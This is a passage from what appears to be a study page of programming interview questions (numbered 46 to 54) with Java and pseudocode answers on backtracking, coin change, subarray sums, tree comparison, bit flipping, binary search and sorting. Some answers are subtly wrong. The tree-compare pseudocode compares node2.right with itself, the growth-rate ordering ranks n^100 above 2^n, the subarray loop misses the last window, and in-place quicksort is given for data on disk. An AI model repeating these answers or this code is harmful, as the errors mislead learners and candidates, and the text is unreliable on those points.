    }

    &lt;b&gt;public void&lt;/b&gt; printSumPossibilities() {
    
        &lt;b&gt;int&lt;/b&gt;[] numberOfNumbers = new int[targetNumber - 1];
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; index = 0; index &amp;lt; targetNumber - 1; index++) {
            numberOfNumbers[index] = 0;
        }
    
        backtrack (targetNumber, numberOfNumbers);
    }

    &lt;b&gt;private void&lt;/b&gt; backtrack(&lt;b&gt;int&lt;/b&gt; targetSum, &lt;b&gt;int&lt;/b&gt;[] numberOfNumbers) {
        &lt;b&gt;if&lt;/b&gt; (reject (targetSum, numberOfNumbers)) {
            &lt;b&gt;return&lt;/b&gt;;
        }
        &lt;b&gt;if&lt;/b&gt; (accept (targetSum, numberOfNumbers)) {
            printSolutionIfNotAlready (numberOfNumbers);
        }
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; numberOfNumbers.length; i++) {
            numberOfNumbers[i]++;
            backtrack (targetSum, numberOfNumbers);
            numberOfNumbers[i]--;
        }
    }

    &lt;b&gt;private boolean&lt;/b&gt; reject(&lt;b&gt;int&lt;/b&gt; targetSum, &lt;b&gt;int&lt;/b&gt;[] numberOfNumbers) {
        &lt;b&gt;int&lt;/b&gt; curSum = 0;
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; numberOfNumbers.length; i++) {
            curSum += (i + 1) * numberOfNumbers[i];
        }
        &lt;b&gt;return&lt;/b&gt; curSum &gt; targetSum;
    }

    &lt;b&gt;private boolean&lt;/b&gt; accept(&lt;b&gt;int&lt;/b&gt; targetSum, &lt;b&gt;int&lt;/b&gt;[] numberOfNumbers) {
        &lt;b&gt;int&lt;/b&gt; curSum = 0;
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; numberOfNumbers.length; i++) {
            curSum += (i + 1) * numberOfNumbers[i];
        }
        &lt;b&gt;return&lt;/b&gt; curSum == targetSum;
    }        
    
    &lt;b&gt;public static void&lt;/b&gt; main (String[] args) {
        &lt;b&gt;new&lt;/b&gt; NumberSumSolver (9).printSumPossibilities ();
    }
}
&lt;/pre&gt;
&lt;p&gt;
The above can be optinmized a lot but I&apos;m keeping it simple for illustrating the simpliest backtrack algorithm.&lt;br&gt;
The problem is mostly that the tree of solution is a graph, several paths lead to the same solutions which are evaluated again and again. Hence the need of a Map to store the solution already reported. 
&lt;/p&gt;
&lt;p&gt;
I simple change into building the tree of solution enables us to build a true tree where the possibilities are not repeated:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;public class&lt;/b&gt; NumberSumSolver {
        
    &lt;b&gt;final int&lt;/b&gt; targetNumber;
        
    NumberSumSolver (&lt;b&gt;int&lt;/b&gt; targetNumber) {
        &lt;b&gt;this&lt;/b&gt;.targetNumber = targetNumber;
    }

    &lt;b&gt;private void&lt;/b&gt; printSolutionIfNotAlready(&lt;b&gt;int&lt;/b&gt;[] numberOfNumbers) {
        StringBuilder solBuild = new StringBuilder();
        &lt;b&gt;boolean&lt;/b&gt; first = &lt;b&gt;true&lt;/b&gt;;
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; numberOfNumbers.length; i++) {
            &lt;b&gt;if&lt;/b&gt; (numberOfNumbers[i] != 0) {
                &lt;b&gt;if&lt;/b&gt; (!first) {
                    solBuild.append (&quot; + &quot;);
                }
                solBuild.append (i + 1);
                solBuild.append (&quot; x &quot;);
                solBuild.append (numberOfNumbers[i]);
                first = &lt;b&gt;false&lt;/b&gt;;
            }
        }
        System.out.println (solBuild);
    }
        
    &lt;b&gt;public void&lt;/b&gt; printSumPossibilities() {            
        &lt;b&gt;int&lt;/b&gt;[] numberOfNumbers = &lt;b&gt;new int&lt;/b&gt;[targetNumber - 1];
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; index = 0; index &amp;lt; targetNumber - 1; index++) {
            numberOfNumbers[index] = 0;
        }
            
        backtrack (targetNumber, 0, numberOfNumbers);
    }

    &lt;b&gt;private void&lt;/b&gt; backtrack(&lt;b&gt;int&lt;/b&gt; targetSum, &lt;b&gt;int&lt;/b&gt; index, &lt;b&gt;int&lt;/b&gt;[] numberOfNumbers) {
        &lt;b&gt;if&lt;/b&gt; (reject (targetSum, index, numberOfNumbers)) {
            &lt;b&gt;return&lt;/b&gt;;
        }            
        &lt;b&gt;if&lt;/b&gt; (accept (targetSum, numberOfNumbers)) {
            printSolutionIfNotAlready (numberOfNumbers);
            &lt;b&gt;return&lt;/b&gt;; // I know If I have a solution, any other on the same base cannot work
        }            
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; targetSum; i++) {
            numberOfNumbers[index] = i;
            &lt;b&gt;if&lt;/b&gt; (index + 1 &amp;lt; numberOfNumbers.length) {
                backtrack (targetSum, index + 1, numberOfNumbers);
            }
        }
        numberOfNumbers[index] = 0;
    }

    &lt;b&gt;private boolean&lt;/b&gt; reject(&lt;b&gt;int&lt;/b&gt; targetSum, &lt;b&gt;int&lt;/b&gt; index, &lt;b&gt;int&lt;/b&gt;[] numberOfNumbers) {
        &lt;b&gt;int&lt;/b&gt; curSum = 0;
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; numberOfNumbers.length; i++) {
            curSum += (i + 1) * numberOfNumbers[i];
        }
        &lt;b&gt;return&lt;/b&gt; curSum &gt; targetSum;
    }

    &lt;b&gt;private boolean&lt;/b&gt; accept(&lt;b&gt;int&lt;/b&gt; targetSum, &lt;b&gt;int&lt;/b&gt;[] numberOfNumbers) {
        &lt;b&gt;int&lt;/b&gt; curSum = 0;
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; numberOfNumbers.length; i++) {
            curSum += (i + 1) * numberOfNumbers[i];
        }
        &lt;b&gt;return&lt;/b&gt; curSum == targetSum;
    }
        
    
    &lt;b&gt;public static void&lt;/b&gt; main (String[] args) {
        &lt;b&gt;new&lt;/b&gt; NumberSumSolver (9).printSumPossibilities ();
    }
}
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt46c&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;46.c.&lt;/b&gt; Given a set of coin denominators, find the minimum number of coins to give a certain amount of change.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt46c&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;Posing the problem&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
I would use an optimization method.
&lt;/p&gt;
&lt;p&gt;
For instance let&apos;s assume we have coins of 5, 10, 20 and 50. &lt;br &gt;
We&apos;re left with a classical optimization problem &lt;br&gt;
min f(x) = x + y + z + a &lt;br&gt;
u.c. 5x + 10y + 20z + 50a = amount
&lt;/p&gt;
&lt;p&gt;
One can then optimize this problem with a branch-and-bound or branch-and-cut algorithm (both simplex based) that are discrete combinatory optimization algorithms.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Why greedy approach wouldn&apos;t work&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Greedy approach (fill with bigger coins until no additional fits, then try with smaller) won&apos;t work.  &lt;br&gt;
See simple example:
&lt;/p&gt;
&lt;p&gt;
coins = { 1, 10, 25 }&lt;br&gt;
amount = 30
&lt;/p&gt;
&lt;p&gt;
Greedy approach will choose 25 first and then five coins of value 1, i.e. 6 coins instead of simply 3 coins of 10.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;SOLUTION: Using a simplier backtracking algorithm&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
We can also use recursion (with its run-time stack) to drive a backtracking algorithm.
The general recursive backtracking algorithm for optimization problems (e.g., fewest number of coins) looks
something like:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;procedure&lt;/b&gt; Backtrack (recursionTreeNode p)
    treeNode c;
    &lt;b&gt;for each&lt;/b&gt; child c &lt;b&gt;of&lt;/b&gt; p &lt;b&gt;do&lt;/b&gt;                           # each c represents a possible choice
        &lt;b&gt;if&lt;/b&gt; promising(c) &lt;b&gt;then&lt;/b&gt;                           # c is &quot;promising&quot; if it could lead to a better solution
            &lt;b&gt;if&lt;/b&gt; c is a solution that&apos;s better than best &lt;b&gt;then&lt;/b&gt;   # check if this is the best solution found so far
                best = c                               # remember the best solution
            &lt;b&gt;else&lt;/b&gt;
                Backtrack(c)                           # follow a branch down the tree
            &lt;b&gt;end if&lt;/b&gt;
        &lt;b&gt;end if&lt;/b&gt;
    &lt;b&gt;end for&lt;/b&gt;
&lt;b&gt;end procedure&lt;/b&gt;
&lt;/pre&gt;
&lt;p&gt;
Implementation in Java:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;public class&lt;/b&gt; CoinsRenderer {
        
    &lt;b&gt;private final int&lt;/b&gt; changeAmt;
    &lt;b&gt;private final int&lt;/b&gt;[] coinTypes;
    
    // global current state of the backtrack
    &lt;b&gt;private int&lt;/b&gt;[] numberOfEachCoinType = &lt;b&gt;null&lt;/b&gt;;
    &lt;b&gt;private int&lt;/b&gt; numberOfCoinsSoFar = 0;
    &lt;b&gt;private int&lt;/b&gt; bestFewestCoins = -1;
    &lt;b&gt;private int&lt;/b&gt;[] bestNumberOfEachCoinType = &lt;b&gt;null&lt;/b&gt;;
    
    &lt;b&gt;public&lt;/b&gt; CoinsRenderer (&lt;b&gt;int&lt;/b&gt; changeAmt, &lt;b&gt;int&lt;/b&gt;[] coinTypes) {
        &lt;b&gt;this&lt;/b&gt;.changeAmt = changeAmt;
        &lt;b&gt;this&lt;/b&gt;.coinTypes = coinTypes;        
    }

    &lt;b&gt;private void&lt;/b&gt; backtrack(&lt;b&gt;int&lt;/b&gt; changeAmt) {        
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; index = coinTypes.length - 1; index &gt;= 0; index--) {
            
            &lt;b&gt;int&lt;/b&gt; smallerChangeAmt = changeAmt - coinTypes[index];
            &lt;b&gt;if&lt;/b&gt; (promising(smallerChangeAmt, numberOfCoinsSoFar + 1)) {
                
                &lt;b&gt;if&lt;/b&gt; (smallerChangeAmt == 0) { // a solution is found
                    // check if its best
                    &lt;b&gt;if&lt;/b&gt; (bestNumberOfEachCoinType == &lt;b&gt;null&lt;/b&gt; || numberOfCoinsSoFar + 1 &amp;lt; bestFewestCoins) {            
                        bestFewestCoins = numberOfCoinsSoFar + 1;                    
                        bestNumberOfEachCoinType = Arrays.copyOfRange(numberOfEachCoinType, 0, 
						        numberOfEachCoinType.length); 
                        bestNumberOfEachCoinType[index]++;
                    }
                } &lt;b&gt;else&lt;/b&gt; {
                    // update global &quot;current state&quot; for child before call
                    numberOfCoinsSoFar++;
                    numberOfEachCoinType[index]++;
                    
                    backtrack(smallerChangeAmt);
                    
                    // undo change to global &quot;current state&quot; after backtracking
                    numberOfCoinsSoFar--;
                    numberOfEachCoinType[index]--;
                }
            }
        }
    }
    
    &lt;b&gt;private boolean&lt;/b&gt; promising(&lt;b&gt;int&lt;/b&gt; changeAmt, &lt;b&gt;int&lt;/b&gt; numberOfCoinsReturned) {      
        &lt;b&gt;if&lt;/b&gt; (changeAmt &amp;lt; 0) {           // dummy case
            &lt;b&gt;return false&lt;/b&gt;;
        } &lt;b&gt;else if&lt;/b&gt; (changeAmt == 0) {   // dummy case
            &lt;b&gt;return true&lt;/b&gt;;
        } &lt;b&gt;else&lt;/b&gt; {                       // changeAmt &gt; 0            
            // This is simple : is the solution better than the one we have now (if we have one)?
            &lt;b&gt;return&lt;/b&gt; bestNumberOfEachCoinType == null || numberOfCoinsReturned + 1 &amp;lt; bestFewestCoins;
        }
    }
    
    &lt;b&gt;public int&lt;/b&gt;[] solve() {
        numberOfEachCoinType = &lt;b&gt;new int&lt;/b&gt;[coinTypes.length];
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; index = 0; index &amp;lt; coinTypes.length; index++) {
            numberOfEachCoinType[index] = 0;
        }

        backtrack(changeAmt);
        &lt;b&gt;return&lt;/b&gt; bestNumberOfEachCoinType;
    }
    
    &lt;b&gt;public static void&lt;/b&gt; main (String[] args) {
        
        /*
        &lt;b&gt;int&lt;/b&gt; changeAmt = 399; 
        &lt;b&gt;int&lt;/b&gt;[] coinTypes = new int[] {1, 5, 10, 12, 25, 50};
        */        
        &lt;b&gt;int&lt;/b&gt; changeAmt = 30; 
        &lt;b&gt;int&lt;/b&gt;[] coinTypes = new int[] {1, 10, 25};
        
        &lt;b&gt;int&lt;/b&gt;[] bestNumberOfEachCoinType = new CoinsRenderer(changeAmt, coinTypes).solve();
        
        System.err.println (changeAmt);
        System.err.println (Arrays.toString(coinTypes));
        System.err.println (Arrays.toString(bestNumberOfEachCoinType));
    }
}
&lt;/pre&gt;
&lt;p&gt;
This works and returns the correct number of coins for each case with minimum exploration (since it starts with the biggest coin, see reverse for loop):
&lt;/p&gt;
&lt;pre&gt;
30
[1, 10, 25]
[0, 3, 0]
&lt;/pre&gt;
&lt;p&gt;
or
&lt;/p&gt;
&lt;pre&gt;
399
[1, 5, 10, 12, 25, 50]
[0, 0, 0, 2, 1, 7]
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a id=&quot;47alink&quot; href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt47&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;47&lt;/b&gt; Given an array of distinct integers, and a target integer t, compute all of the (continuous!) subsets of the array that sum to t, where order matters. 
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt47&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
What about a standard backtrack approach ?
&lt;/p&gt;
&lt;p&gt;
However with standard backtrack, the three of solution would be:
&lt;/p&gt;
&lt;pre&gt;
             ____________________[0&gt;1]___________________
            /                                           \
      ___[0&gt;2]___             ___[1&gt;2]___           ___[2&gt;2]___    ...
     /     |     \           /     |     \         /     |     \
   [0&gt;3] [1&gt;3] [2&gt;3] ...   [1&gt;3] [2&gt;3] [3&gt;3] ... [3&gt;3] [4&gt;3] [5&gt;3] ...
&lt;/pre&gt;
&lt;p&gt;
Hence with a lot of duplicates...&lt;br&gt;
In addition &lt;b&gt;Backtracking here makes no sense since it is never possible to discard a branch of the three&lt;/b&gt; since further nodes on a branch can still make it to the target
because the problem doesn&apos;t say that the list contains only positive integers.
&lt;/p&gt;
&lt;p&gt;
If the list can contain as well negatove integers, then one needs to test &lt;b&gt;all possibilities&lt;/b&gt;, a branch of solutions can never be discarded =&gt; backtracking is not appropriate.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;if the problem is reduced to an array containing only positive integers, then backtracking is a good approach.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Here however, I am hence using a greedy solution:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;private static class&lt;/b&gt; SubArraySolver {
        
    &lt;b&gt;private final int&lt;/b&gt;[] original;
    &lt;b&gt;private final int&lt;/b&gt; targetSum;
        
    SubArraySolver (&lt;b&gt;int&lt;/b&gt;[] original, &lt;b&gt;int&lt;/b&gt; targetSum) {
        &lt;b&gt;this&lt;/b&gt;.original = original;
        &lt;b&gt;this&lt;/b&gt;.targetSum = targetSum;
    }
        
    &lt;b&gt;public void&lt;/b&gt; findAllSubArrays() {
        testAll (0);
    }
        
    &lt;b&gt;private void&lt;/b&gt; testAll(&lt;b&gt;int&lt;/b&gt; length) { 
        &lt;b&gt;if&lt;/b&gt; (length &gt; original.length) {
            &lt;b&gt;return&lt;/b&gt;;
        }
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; original.length - length; i++) {;               
            &lt;b&gt;if&lt;/b&gt; (accept (i, length)) {
                printSolutionIfNotAlready (i, length);
            }
        }            
        testAll (length + 1);
    }

    &lt;b&gt;private void&lt;/b&gt; printSolutionIfNotAlready(&lt;b&gt;int&lt;/b&gt; start, &lt;b&gt;int&lt;/b&gt; length) {
        System.out.println (Arrays.toString (Arrays.copyOfRange(original, start, start+length)));
    }

    &lt;b&gt;private boolean&lt;/b&gt; accept(&lt;b&gt;int&lt;/b&gt; start, &lt;b&gt;int&lt;/b&gt; length) {
        &lt;b&gt;int&lt;/b&gt; curSum = 0;
        &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = start; i &amp;lt; start + length; i++) {
            curSum += original[i];
        }
        &lt;b&gt;return&lt;/b&gt; curSum == targetSum;
    }
    
    &lt;b&gt;public static void&lt;/b&gt; findSubArrayWithSum (&lt;b&gt;int&lt;/b&gt;[] array, &lt;b&gt;int&lt;/b&gt; target) {
        &lt;b&gt;new&lt;/b&gt; SubArraySolver (array, target).findAllSubArrays();
    }
    
    &lt;b&gt;public static void&lt;/b&gt; main (String[] args) {
        findSubArrayWithSum(&lt;b&gt;new int&lt;/b&gt;[]{1, 5, 3, 4, -1, -6, 4, 8, 2, 5, 4, -2, 8, 9, -3, 4}, 12);
    }
}
&lt;/pre&gt;
&lt;p&gt;
Which returns:
&lt;/p&gt;
&lt;pre&gt;
[4, 8]
[5, 3, 4]
[-2, 8, 9, -3]
[1, 5, 3, 4, -1]
[3, 4, -1, -6, 4, 8]
[-1, -6, 4, 8, 2, 5]
&lt;/pre&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt48&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;48.&lt;/b&gt; Given two binary trees, write a compare function to check if they are equal or not. Being equal means that they have the same value and same structure.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt48&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Simply use and of the Graph traversal algorithm. Run it on both trees at the same time and quit when the first difference is found.
&lt;/p&gt;
&lt;p&gt;
One can use a modified version of inorder that stops when the first difference is found:
&lt;/p&gt;

&lt;pre&gt;
compare(node1, node2)
  &lt;b&gt;if&lt;/b&gt; node1 == null and node2 == null &lt;b&gt;then&lt;/b&gt; 
        &lt;b&gt;return true&lt;/b&gt;
  &lt;b&gt;if&lt;/b&gt; node1 == null or node2 == null &lt;b&gt;then&lt;/b&gt; 
        &lt;b&gt;return false&lt;/b&gt;
  subResult = compare(node1.left, node2.left)
  &lt;b&gt;if&lt;/b&gt; (!subResult) &lt;b&gt;then&lt;/b&gt; 
        &lt;b&gt;return false&lt;/b&gt;
  &lt;b&gt;if&lt;/b&gt; (node1.value != node2.value) &lt;b&gt;then&lt;/b&gt;
        &lt;b&gt;return false&lt;/b&gt;
  &lt;b&gt;return&lt;/b&gt; compare(node2.right, node2.right)
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt49&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;49.&lt;/b&gt; Write a function that flips the bits inside a byte (either in C++ or Java).
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt49&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Two solutions :
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;1. Use the XOR operator&lt;/b&gt;
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;byte&lt;/b&gt; ReverseByte(&lt;b&gt;byte&lt;/b&gt; b) { &lt;b&gt;return&lt;/b&gt; b ^ 0xff; }
&lt;/pre&gt;
&lt;p&gt;
&lt;b&gt;2. Use byte after byte inversion&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Java or C#:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;byte&lt;/b&gt; ReverseByte(&lt;b&gt;byte&lt;/b&gt; b)
{
     &lt;b&gt;byte&lt;/b&gt; r = 0;
     &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i=0; i &amp;lt; 8; i++)
     {
          &lt;b&gt;int&lt;/b&gt; mask = 1 &amp;lt;&amp;lt; i;
          &lt;b&gt;int&lt;/b&gt; bit = (b &amp; mask) &gt;&gt; i;
          &lt;b&gt;int&lt;/b&gt; reversedMask = bit &amp;lt;&amp;lt; (7 - i);
          r |= (byte)reversedMask;
     }
     &lt;b&gt;return&lt;/b&gt; r;
}
&lt;/pre&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt50&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;50.&lt;/b&gt; What&apos;s 2 to the power of 64?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt50&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
2^64 = 1,84467441 x 10^19&lt;br&gt;
=2^32 * 2^32 = 4 294 967 296 * 4 294 967 296
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt51&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;51.&lt;/b&gt; Given that you have one string of length N and M small strings of length L. How do you efficiently find the occurrence of each small string in the larger one?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt51&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
First idea, somewhat brute force but not such bad since the source string is ran through only once:
&lt;/p&gt;
&lt;pre&gt;
int[M] findMatching (source, searches[M]) 
// returns index of last match of each search in source or -1
     int[M] return 
     int[M] temp 
     &lt;b&gt;for&lt;/b&gt; j &lt;b&gt;in&lt;/b&gt; 1 &lt;b&gt;to&lt;/b&gt; M &lt;b&gt;do&lt;/b&gt;
          return[j] &amp;lt;- 1
          temp[j] &amp;lt;- 1
     &lt;b&gt;for&lt;/b&gt; i &lt;b&gt;in&lt;/b&gt; 1 &lt;b&gt;to&lt;/b&gt; nchar(source) &lt;b&gt;do&lt;/b&gt; // char by char
          &lt;b&gt;for&lt;/b&gt; j &lt;b&gt;in&lt;/b&gt; 1 &lt;b&gt;to&lt;/b&gt; length(searches) // every searched string
                search = searches[j]
                &lt;b&gt;if&lt;/b&gt; search[0] == source[i] &lt;b&gt;then&lt;/b&gt;
                     temp[j] = i
                &lt;b&gt;else if&lt;/b&gt; temp[j] &gt; -1
                     index = i - return[j];
                     &lt;b&gt;if&lt;/b&gt; index &gt; length(search) &lt;b&gt;then&lt;/b&gt;
                          return[j] &amp;lt;- temp[j]
                     &lt;b&gt;else&lt;/b&gt;
                          &lt;b&gt;if&lt;/b&gt; search[index] != source[i] &lt;b&gt;then&lt;/b&gt;
                                temp[j] = -1
&lt;/pre&gt;
&lt;p&gt;
In Java:                
&lt;/p&gt;
&lt;pre&gt;
     &lt;b&gt;static public&lt;/b&gt; int[] multipleSearch (String source, String[] searches) {
          int[] ret = new int[searches.length]; 
          int[] temp  = new int[searches.length]; 
          &lt;b&gt;for&lt;/b&gt; (int j = 0; j &amp;lt; searches.length; j++) {
                ret[j] = - 1;
                temp[j] = - 1;
          }
          &lt;b&gt;for&lt;/b&gt; (int i = 0; i &amp;lt; source.length(); i++) { // char by char
                &lt;b&gt;for&lt;/b&gt; (int j = 0; j &amp;lt; searches.length; j++) { // every searched string
                     String search = searches[j];
                     &lt;b&gt;if&lt;/b&gt; (search.charAt(0) == source.charAt(i)) {
                          temp[j] = i;
                     } &lt;b&gt;else if&lt;/b&gt; (temp[j] &gt; -1) {
                          int index = i - temp[j];
                          &lt;b&gt;if&lt;/b&gt; (index &gt;= search.length()) {
                                ret[j] = temp[j];
                          } &lt;b&gt;else if&lt;/b&gt; (search.charAt(index) != source.charAt(i)) { 
                                temp[j] = -1;
                          }
                     }                
                }
          }
          &lt;b&gt;return&lt;/b&gt; ret;
     }
&lt;/pre&gt;
&lt;p&gt;
This runs in time complexity O(m x n) and space complexity O(m)
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt52&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;52.&lt;/b&gt; Order the functions in order of their asymptotic performance: 1) 2^n 2) n^100 3) n! 4) n^n
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt52&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
n^n &lt;br&gt;
n! &lt;br&gt;
n^100 &lt;br&gt;
2^n
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt53&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;53.&lt;/b&gt;  Given an array whose elements are sorted, return the index of a the first occurrence of a specific integer. Do this in sub-linear time. I.e. do not just go through each element searching for that element.&lt;br&gt;
&lt;span style=&quot;color: green&quot;&gt;[Binary Search algo]&lt;/span&gt;
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt53&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Binary search is the way to go. See &lt;a href=&quot;#binary_search&quot;&gt;binary search&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
If the list to be searched contains more than a few items (a dozen, say) a binary search will require far fewer comparisons than a linear search, but it imposes the requirement that the list be sorted. Similarly, a hash search can be faster than a binary search but imposes still greater requirements. If the contents of the array are modified between searches, maintaining these requirements may even take more time than the searches. And if it is known that some items will be searched for much more often than others, and it can be arranged that these items are at the start of the list, then a linear search may be the best.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Algorithms&lt;/b&gt;:
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Recursive:&lt;/b&gt;
&lt;/p&gt;
&lt;pre&gt;
int binary_search(int A[], int key, int imin, int imax)
{
  // test if array is empty
  &lt;b&gt;if&lt;/b&gt; (imax &amp;lt; imin):
     // set is empty, so return value showing not found
     &lt;b&gt;return&lt;/b&gt; KEY_NOT_FOUND;
  &lt;b&gt;else&lt;/b&gt;
     {
        // calculate midpoint to cut set in half
        int imid = midpoint(imin, imax);
 
        // three-way comparison
        &lt;b&gt;if&lt;/b&gt; (A[imid] &gt; key)
          // key is in lower subset
          &lt;b&gt;return&lt;/b&gt; binary_search(A, key, imin, imid-1);
        &lt;b&gt;else if&lt;/b&gt; (A[imid] &amp;lt; key)
          // key is in upper subset
          &lt;b&gt;return&lt;/b&gt; binary_search(A, key, imid+1, imax);
        &lt;b&gt;else&lt;/b&gt;
          // key has been found
          &lt;b&gt;return&lt;/b&gt; imid;
     }
}
&lt;/pre&gt;
&lt;p&gt;
&lt;b&gt;Iterative&lt;/b&gt;
&lt;/p&gt;

&lt;pre&gt;
int binary_search(int A[], int key, int imin, int imax)
{
  // continue searching while [imin,imax] is not empty
  &lt;b&gt;while&lt;/b&gt; (imax &gt;= imin)
     {
        /* calculate the midpoint for roughly equal partition */
        int imid = midpoint(imin, imax);
 
        // determine which subarray to search
        &lt;b&gt;if&lt;/b&gt;        (A[imid] &amp;lt;  key)
          // change min index to search upper subarray
          imin = imid + 1;
        &lt;b&gt;else if&lt;/b&gt; (A[imid] &gt; key )
          // change max index to search lower subarray
          imax = imid - 1;
        &lt;b&gt;else&lt;/b&gt;
          // key found at index imid
          &lt;b&gt;return&lt;/b&gt; imid;
     }
  // key not found
  return KEY_NOT_FOUND;
}
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt54&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;54.&lt;/b&gt; What sort would you use if you had a large data set on disk and a small amount of ram to work with?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt54&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
I would use an in-place version of quick sort since it requires only O(log n) RAM storage (recursive calls on the stack).&lt;br&gt;
See &lt;a href=&quot;#quick_sort_in_place&quot;&gt;In place Quick sort&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
The in-place version of quicksort has a space complexity of O(log n), even in the worst case, when it is carefully implemented using the following strategies:
&lt;/p&gt;
&lt;ul&gt;
     &lt;li&gt;in-place partitioning is used. This unstable partition requires O(1) space.&lt;/li&gt;
     &lt;li&gt;After partitioning, the partition with the fewest elements is (recursively) sorted first, requiring at most O(log n) space. Then the other partition is sorted using tail recursion or iteration, which doesn&apos;t add to the call stack. This idea, as discussed above, was described by R. Sedgewick, and keeps the stack depth bounded by O(log n).&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;



&lt;p&gt;
